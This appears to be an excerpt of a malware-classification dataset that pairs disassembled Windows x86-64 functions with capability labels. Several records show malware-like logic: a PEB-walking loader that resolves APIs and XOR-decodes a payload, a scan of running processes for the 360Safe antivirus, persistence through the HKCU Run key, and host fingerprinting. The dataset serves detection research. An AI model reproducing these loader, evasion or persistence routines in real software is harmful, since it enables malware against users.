joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400f169c
Capabilities:
Check if file exists
Delete registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rcx, str.AsrRegClearExitCode
call fcn.140029428
and qword [rsp + 0x48], 0
lea r8, [rsp + 0x48]
xor edx, edx
lea rcx, str.SOFTWAREMICROSOFTWINDOWS_NTCurrentVersionASRBackupSession
call fcn.1400f3b08
test eax, eax
jne 0x1400f1736
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 2
je 0x1400f177b
xor ebx, ebx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov edi, eax
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x1400f1780
test byte [rcx + 0x1c], 8
je 0x1400f1780
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov rcx, qword [section..data]
lea edx, [rbx + 0x20]
mov r9d, eax
lea rax, str.GetLastError___
mov rcx, qword [rcx + 0x10]
lea r8, [0x140140370]
mov qword [rsp + 0x20], rax
call fcn.1400e4514
jmp 0x1400f1780
mov rcx, qword [rsp + 0x48]
lea rdx, str.BackupExitCode
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegDeleteValueW]
mov edi, eax
test eax, 0xfffffffd
je 0x1400f177b
xor ebx, ebx
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x1400f1780
test byte [rcx + 0x1c], 8
je 0x1400f1780
lea edx, [rbx + 0x21]
mov r9d, edi
lea rax, str.lDeleteValueResult
jmp 0x1400f171f
xor edi, edi
lea ebx, [rdi + 1]
cmp qword [rsp + 0x48], 0
je 0x1400f1793
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
lea rcx, str.AsrRegClearExitCode
call fcn.140027f60
mov ecx, edi
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetLastError]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x1400f3c40
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r14, r9
mov r15, r8
mov rbp, rdx
mov r12, rcx
xor ebx, ebx
mov dword [rax + 0x10], 0x100
mov dword [rax - 0x38], ebx
mov edi, ebx
lea esi, [rbx + 1]
test rdx, rdx
je 0x1400f3d68
cmp word [rdx], bx
je 0x1400f3d68
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_com_l1_1_0.dll_CoTaskMemFree]
mov ecx, dword [rsp + 0x78]
call fcn.1400293f0
mov rdi, rax
test rax, rax
je 0x1400f3d37
lea rax, [rsp + 0x78]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x30]
mov rdx, rbp
mov qword [rsp + 0x20], rdi
mov rcx, r12
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
mov r9d, eax
test eax, eax
je 0x1400f3d0b
cmp eax, 0xea
je 0x1400f3c86
mov esi, ebx
mov ebx, eax
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x1400f3dac
test byte [rcx + 0x1c], 8
je 0x1400f3dac
mov edx, 0x16
lea rax, str.lResult
jmp 0x1400f3d97
test r15, r15
je 0x1400f3d16
mov qword [r15], rdi
mov rdi, rbx
test r14, r14
je 0x1400f3d22
mov eax, dword [rsp + 0x78]
mov dword [r14], eax
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x1400f3dac
mov eax, dword [rsp + 0x30]
mov dword [rcx], eax
jmp 0x1400f3dac
mov r9d, 0xe
mov esi, ebx
mov ebx, r9d
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x1400f3dac
test byte [rcx + 0x1c], 8
je 0x1400f3dac
lea edx, [r9 + 7]
lea rax, str.pValue
jmp 0x1400f3d97
mov r9d, 0x57
mov esi, ebx
mov ebx, r9d
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x1400f3dac
test byte [rcx + 0x1c], 8
je 0x1400f3dac
lea edx, [r9 - 0x43]
lea rax, str.pwszValueName
mov rcx, qword [rcx + 0x10]
lea r8, [0x140141178]
mov qword [rsp + 0x20], rax
call fcn.1400e4514
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_com_l1_1_0.dll_CoTaskMemFree]
mov ecx, ebx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetLastError]
lea r11, [rsp + 0x40]
mov eax, esi
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1400f406c
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
xor ebx, ebx
lea edi, [rbx + 1]
test rdx, rdx
je 0x1400f40ce
test r8, r8
je 0x1400f40ce
lea r9d, [rbx + 4]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
mov r9d, eax
test eax, eax
je 0x1400f4112
mov edi, ebx
mov ebx, eax
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x1400f4112
test byte [rcx + 0x1c], 8
je 0x1400f4112
mov edx, 0x24
lea rax, str.lResult
jmp 0x1400f40fd
mov r9d, 0x57
mov edi, ebx
mov ebx, r9d
mov rcx, qword [section..data]
lea rax, section..data
cmp rcx, rax
je 0x1400f4112
test byte [rcx + 0x1c], 8
je 0x1400f4112
lea edx, [r9 - 0x34]
lea rax, str.ERROR_INVALID_PARAMETER
mov rcx, qword [rcx + 0x10]
lea r8, [0x140141178]
mov qword [rsp + 0x20], rax
call fcn.1400e4514
mov ecx, ebx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x1406781b8
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14067833f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406781e9
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406781cf
add dl, dl
jne 0x1406781f6
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140678256
xor eax, eax
add dl, dl
jne 0x140678205
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14067830d
add dl, dl
jne 0x140678216
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140678223
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140678230
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14067823d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14067824a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406781de
mov eax, 1
add dl, dl
jne 0x140678266
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140678273
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14067825b
sub eax, ebx
mov ebx, 1
jne 0x1406782ac
mov ecx, 1
add dl, dl
jne 0x14067828e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14067829b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140678283
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406781de
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406782c8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406782d5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406782bd
cmp eax, 0x7d00
jae 0x1406782fb
cmp eax, 0x500
jb 0x1406782f6
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406781de
cmp eax, 0x7f
ja 0x1406782fe
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406781de
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140678332
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406781de
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x100411840
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov edi, r8d
mov r14, rdx
mov r8, qword [rcx + 0x58]
mov rsi, rcx
test r8, r8
je 0x1004118fe
mov r9d, dword [rcx + 0x50]
lea rax, [rdx + rdi*2]
mov r11, rdx
xor r10d, r10d
mov rdx, rax
sub rdx, r11
inc rdx
shr rdx, 1
cmp r11, rax
cmova rdx, r10
test rdx, rdx
je 0x1004118b7
nop word [rax + rax]
movzx ecx, word [r11]
lea r11, [r11 + 2]
imul r9d, r9d, 0x21
inc r10
xor r9d, ecx
cmp r10, rdx
jb 0x1004118a0
xor edx, edx
mov eax, r9d
div dword [rsi + 0x54]
mov eax, dword [r8 + rdx*4]
test eax, eax
je 0x1004118fe
nop word [rax + rax]
lea rbx, [rax + rax*2]
shl rbx, 4
add rbx, qword [rsi + 0x70]
cmp edi, dword [rbx + 8]
jne 0x1004118f7
test edi, edi
je 0x10041191b
mov rdx, qword [rbx]
mov r8, rdi
mov rcx, r14
call fcn.10041ef40
test eax, eax
je 0x10041191b
mov eax, dword [rbx + 0x28]
test eax, eax
jne 0x1004118d0
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rbx
jmp 0x100411900
Function at 0x14009ae40
Capabilities:
Access peb ldr_data

Disassembly:
push rcx
push r11
push r13
sub rcx, rcx
add rcx, 0x60
mov r11, qword gs:[rcx]
push r10
mov rcx, r11
add rcx, 0x10
mov r10, qword [rcx]
add r11, 0x18
mov r13, qword [r11]
mov rcx, r13
add rcx, 0x10
mov r11, qword [rcx]
push r12
mov r13, r11
add r13, 0x30
mov rcx, qword [r13]
cmp rcx, 0
je 0x14009aeb3
mov r13, qword [r11 + 0x60]
mov r12, qword [r13]
and r12d, 0xdf00df
mov r13, qword [r13 + 0xc]
mov ebp, dword [rbp + 0xc]
shl r13d, 8
add r13d, r12d
shl r13d, 2
sub r13d, 0xc914cd2c
cmp r13, 0
je 0x14009aebb
mov r13, qword [r11]
mov r11, r13
jmp 0x14009ae6f
mov r11d, dword [rcx + 0x3c]
add r11, rcx
add r11, 0x10
mov r13d, dword [r11 + 0x78]
add r13, rcx
push rbx
mov r12d, dword [r13 + 0x20]
add r12, rcx
mov ebx, dword [r12]
add rbx, rcx
mov r11d, dword [rbx + 0xb]
sub r11d, 0x746365
test r11d, r11d
jne 0x14009aef1
jmp 0x14009aeff
inc r12
inc r12
inc r12
inc r12
jmp 0x14009aed5
mov r11d, dword [r13 + 0x20]
sub r12, r11
sub r12, rcx
shr r12d, 1
mov r11d, dword [r13 + 0x24]
add r11, r12
add r11, rcx
mov r12d, dword [r11]
mov r11d, dword [r13 + 0x1c]
and r12d, 0xffff
shl r12d, 2
add r11, rcx
add r11, r12
mov r12d, dword [r11]
mov r11d, 0x155000
add r12, rcx
push rcx
add r11, r10
push r10
push r11
push rbx
push rbx
push r12
mov rcx, r11
mov r9, rsp
sub r8, r8
add r8, 0x40
mov edx, 0xb7000
call r12
pop r13
pop rbx
pop rbx
pop r11
pop r10
mov ecx, 0x4cf6
movabs r13, 0x3a4c0
push r12
mov r12d, 0x32
imul ecx, r12d
movabs r12, 0x2c3d
add rcx, r12
add rcx, r10
call 0x14009afbc
mov r11d, 0x195000
movabs rcx, 0x12ea49
add rcx, r10
add r11, r10
mov r13d, 0x3aa0
call 0x14009afbc
pop r12
cmp rcx, r11
jne 0x14009aff4
mov r12d, dword [rcx]
xor r12d, 0xc0322049
dec r12
mov dword [r11], r12d
dec r13
dec r13
dec r13
inc rcx
inc rcx
inc rcx
inc rcx
add r11, 4
dec r13
test r13d, r13d
je 0x14009aff2
jmp 0x14009afbc
mov ecx, 0x8000000
movabs r11, 0x155000
mov r13d, 0x2ce
mov r12d, 5
imul r13d, r12d
add r11, r10
add r13d, 0x1fa
sub r11, r13
mov r13, r11
sub r13, rcx
movabs rcx, 0x133649
add rcx, r10
Function at 0x140001c70
Capabilities:
Hash data with md5

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x18]
sub rsp, 0x118
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rax, qword [0x140036248]
xor rax, rsp
mov qword [rbp], rax
mov rsi, r9
mov rbx, r8
mov r15, rcx
mov r12, qword [rbp + 0x80]
mov r13, qword [rbp + 0x88]
mov r14, qword [rbp + 0x90]
mov qword [rsp + 0x50], 7
xor eax, eax
mov qword [rsp + 0x48], rax
mov word [rsp + 0x38], ax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x38]
call fcn.140003d90
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140003d90
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rsi
lea rcx, [rsp + 0x38]
call fcn.140003d90
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r12
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r12
lea rcx, [rsp + 0x38]
call fcn.140003d90
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r13
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r13
lea rcx, [rsp + 0x38]
call fcn.140003d90
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r14
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r14
lea rcx, [rsp + 0x38]
call fcn.140003d90
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rdx, qword [rsp + 0x38]
mov byte [rbp - 8], 0
xor edi, edi
mov qword [rbp - 0x60], rdi
mov dword [rbp - 0x70], 0x67452301
mov dword [rbp - 0x6c], 0xefcdab89
mov dword [rbp - 0x68], 0x98badcfe
mov dword [rbp - 0x64], 0x10325476
mov r8, qword [rsp + 0x48]
lea r8, [r8 + r8 + 2]
lea rcx, [rbp - 0x70]
call fcn.140004260
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.140004da0
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r15
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp qword [rsp + 0x78], 0x10
jb 0x140001e48
mov rcx, qword [rsp + 0x60]
call fcn.140014990
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x70], rdi
mov byte [rsp + 0x60], dil
cmp qword [rsp + 0x50], 8
jb 0x140001e6d
mov rcx, qword [rsp + 0x38]
call fcn.140014990
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.140014970
add rsp, 0x118
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140002230
Capabilities:
Enumerate processes

Disassembly:
mov r11, rsp
push rsi
sub rsp, 0x280
mov rax, qword [0x140036248]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov qword [r11 + 0x20], r12
lea rsi, [0x140040530]
xor edx, edx
mov r8d, 0x1fe
mov rcx, rsi
mov qword [r11 - 0x18], r14
call fcn.140016c20
mov rcx, qword [str.360Safe.exe]
lea rdx, [0x14002e280]
xor r14d, r14d
mov r12d, r14d
call fcn.140015034
test rax, rax
jne 0x14000239e
mov qword [rsp + 0x290], rbx
mov qword [rsp + 0x298], rbp
mov qword [rsp + 0x2a0], rdi
mov qword [rsp + 0x278], r13
lea r13, str.360Safe.exe
mov ebp, r14d
mov rbx, r13
nop dword [rax + rax]
mov rdi, qword [rbx]
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x234
mov dword [rsp + 0x20], r14d
call fcn.140016c20
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002357
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000234e
nop dword [rax + rax]
lea rcx, [rsp + 0x4c]
mov r8, rdi
sub r8, rcx
nop dword [rax + rax]
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x140002334
add rcx, 2
test eax, eax
jne 0x140002320
mov rcx, rbx
test edx, edx
je 0x1400023ee
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002310
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc r12
lea rdx, [0x14002e280]
mov rbp, r12
shl rbp, 4
lea rbx, [r13 + rbp]
mov rcx, qword [rbx]
call fcn.140015034
test rax, rax
je 0x1400022c0
mov r13, qword [rsp + 0x278]
mov rdi, qword [rsp + 0x2a0]
mov rbp, qword [rsp + 0x298]
mov rbx, qword [rsp + 0x290]
lea rdx, [0x14002e280]
mov rcx, rsi
call fcn.140015034
mov r14, qword [rsp + 0x270]
mov r12, qword [rsp + 0x2a8]
test rax, rax
jne 0x1400023d2
lea rdx, [0x14002e134]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, rsi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140014970
add rsp, 0x280
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x28], r14d
je 0x140002357
mov rdx, qword [r13 + rbp + 8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x14002e284]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x140002357
Function at 0x140002430
Capabilities:
Persist via run registry key

Disassembly:
push rbp
sub rsp, 0x690
mov rax, qword [0x140036248]
xor rax, rsp
mov qword [rsp + 0x680], rax
lea rcx, [rsp + 0x52]
xor ebp, ebp
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], bp
call fcn.140016c20
lea rcx, [rsp + 0x262]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x260], bp
call fcn.140016c20
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SHGetSpecialFolderPathW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002511
lea r9d, [rbp + 1]
lea r8d, [rbp + 7]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call rax
test eax, eax
je 0x140002511
lea r9, str.GFIRestart64.exe
lea r8, [rsp + 0x50]
lea rdx, str._s_s
lea rcx, [rsp + 0x260]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x260]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140002511
lea eax, [rbp + 1]
jmp 0x140002632
mov qword [rsp + 0x6a0], rbx
lea rcx, [0x14002e360]
mov qword [rsp + 0x6a8], rsi
mov qword [rsp + 0x6b0], rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x14002e380]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x14002e398]
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x14002e3a8]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rsi, rsi
je 0x140002618
test rdi, rdi
je 0x140002618
test rax, rax
je 0x140002618
lea rax, [rsp + 0x48]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call rdi
test eax, eax
jne 0x140002618
lea rcx, [rsp + 0x472]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x470], bp
call fcn.140016c20
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
lea rdx, str.GFIRestart64.exe
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x470]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0x208
call rsi
mov rcx, qword [rsp + 0x48]
test eax, eax
jne 0x140002616
call rbx
mov eax, 1
jmp 0x14000261a
call rbx
xor eax, eax
mov rsi, qword [rsp + 0x6a8]
mov rbx, qword [rsp + 0x6a0]
mov rdi, qword [rsp + 0x6b0]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140014970
add rsp, 0x690
pop rbp
ret
Function at 0x140002ca0
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140036248]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
lea rax, [rsp + 0x68]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea r8d, [rbx + 0x20]
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x70], 0
mov word [rsp + 0x74], 0x500
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
test eax, eax
je 0x140002d2b
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
cmp eax, 1
sete al
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140014970
add rsp, 0x80
pop rbx
ret

Function at 0x1400030d0
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x140036248]
xor rax, rsp
mov qword [rsp + 0xb8], rax
xor r13d, r13d
mov r12, rcx
mov edi, r13d
mov esi, r13d
mov ebp, r13d
mov ebx, r13d
lea eax, [rbx + 0x42]
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0xa2], 0x5c003a
mov word [rsp + 0xa0], ax
mov word [rsp + 0xa6], r13w
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x14000317b
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xa0]
inc ebp
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r11, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
shr r11, 0x1e
shr rax, 0x1e
add edi, r11d
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x140003113
xor eax, eax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], 0x40
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
shr rax, 0x1e
lea r8, [0x14002e440]
shr rbx, 0x1e
inc rax
mov r9d, ebp
mov edx, 0xc8
mov qword [rsp + 0x30], rax
mov rcx, r12
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], edi
inc rbx
call fcn.140014de4
lea r8, [0x14002e490]
mov r9, r12
mov edx, 0xc8
mov rcx, r12
mov qword [rsp + 0x20], rbx
call fcn.140014de4
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.140014970
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140003260
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
sub rsp, 0x2a0
mov rax, qword [0x140036248]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rdi, r9
mov rsi, r8
mov r12, rdx
mov r13, rcx
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x30], 1
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x80]
call fcn.140016c20
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, r12
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400032dd
or ebx, 0xffffffff
jmp 0x140003480
mov ecx, dword [rsp + 0x2f0]
test ecx, ecx
je 0x1400033dc
dec ecx
je 0x14000336f
dec ecx
jne 0x140003480
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140003480
cmp eax, 2
ja 0x140003480
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003480
lea rdx, [0x14002e220]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140003457
or ebx, 0xffffffff
jmp 0x140003480
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140003480
cmp eax, 2
ja 0x140003480
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rdi
test eax, eax
jne 0x140003472
lea rdx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
jmp 0x140003480
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140003480
cmp eax, 2
ja 0x140003480
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000346f
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, dword [rsp + 0x68]
lea r8, [rsp + 0x80]
lea rdx, str._s__d
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
jmp 0x140003480
mov rcx, rdi
lea rdx, str.error
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
nop
mov rcx, r13
